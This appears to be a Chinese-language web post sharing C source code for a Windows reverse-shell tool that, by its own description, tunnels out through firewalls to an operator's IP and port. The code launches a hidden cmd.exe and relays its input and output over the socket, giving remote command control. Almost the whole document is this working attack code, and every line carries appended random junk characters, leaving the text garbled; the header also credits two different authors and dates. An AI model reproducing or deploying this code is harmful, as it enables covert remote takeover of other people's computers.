这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 axonqSf
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/* ============================== _N0x&9S$
Rebound port in Windows NT q$~S?X5\
By wind,2006/7 Fu!:8Wp!(
===============================*/ $A8eMJEpL
#include c;BQ$je}
#include :KMo'pL
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#pragma comment(lib,"wsock32.lib") b{(!Ls_ &
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void OutputShell(); qS+'#Sn
SOCKET sClient; SQW A{f
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; :.DCRs$Q
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void main(int argc,char **argv) YtxBkKiJ2V
{ Z;SRW92@
WSADATA stWsaData; UFC.!t-Z
int nRet; : :e=6i
SOCKADDR_IN stSaiClient,stSaiServer; V]`V3cy1+3
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if(argc != 3) ^7~=+0cF]
{ mJ !}!~:
printf("Useage:\n\rRebound DestIP DestPort\n"); W^P%k:anK
return; .@ /5Ln
} kSoAnJ|
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WSAStartup(MAKEWORD(2,2),&stWsaData); %t:1)]2
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); x.>z2.
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stSaiClient.sin_family = AF_INET; ] l}8
stSaiClient.sin_port = htons(0); L)HuQVc g
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); LHR%dt|M
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) qA
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{ =DGaK0n
printf("Bind Socket Failed!\n"); ]'DtuT?Z
return; ukzXQe;l1
} nYTI\f/8v
}us%G&A2u
stSaiServer.sin_family = AF_INET; _dIv{L!
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); _H<ur?G
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); -Y2h vC
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Hg*6I%D[So
{ xGPt5l<M&
printf("Connect Error!"); V?0|#=_mE
return; (*^_wq-;
} / QSK$ZDC
OutputShell(); 3[-L'!pOX3
} 8 mV`|2>
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void OutputShell() aG`G$3 _wx
{ ~Se/uL;*
char szBuff[1024]; FwmE1,
SECURITY_ATTRIBUTES stSecurityAttributes; on\0i{0l8
OSVERSIONINFO stOsversionInfo; =/Vr,y$
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; >eW HPO
STARTUPINFO stStartupInfo; \ bd?
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char *szShell; a~:'OW:Q
PROCESS_INFORMATION stProcessInformation; 4$1sBY/
unsigned long lBytesRead; xH; 4lw
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); c
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); P_lk40X
stSecurityAttributes.lpSecurityDescriptor = 0; f:=q=i
stSecurityAttributes.bInheritHandle = TRUE; }V6}>!Sb
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 6 @'v6 1'
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); vAHJP$x
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Go+f0aig
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; enDjP
stStartupInfo.wShowWindow = SW_HIDE; i[T!{<
stStartupInfo.hStdInput = hReadPipe; q71Tg
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ;,'eO i
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GetVersionEx(&stOsversionInfo); haqL
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switch(stOsversionInfo.dwPlatformId) $*`fn{2
{ . m@Sk`s
case 1: !sK{:6s
szShell = "command.com"; 5lVDYmh
break; A
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default: .y#@~H($
szShell = "cmd.exe"; p@YU7_sF^!
break; GwxfnCKi9
} QVQe9{ "0
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 3'
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send(sClient,szMsg,77,0); 87r#;ND
while(1) nhiCV>@y
{ G\ru%
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); X3<<f`X
if(lBytesRead) Ycn*aR2
{ n;/yo~RR
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); )Uo)3FAn
send(sClient,szBuff,lBytesRead,0); qIuY2b`6
} s{'r'`z.
else sMs 0*B-[
{ #92MI#|n9
lBytesRead=recv(sClient,szBuff,1024,0); <vhlT#p
if(lBytesRead<=0) break; m7cp0+Peo
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); [Xg?sdQCI
} tb"UGa
} v`*!Bhc-
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return; tg7%@SI5^-
}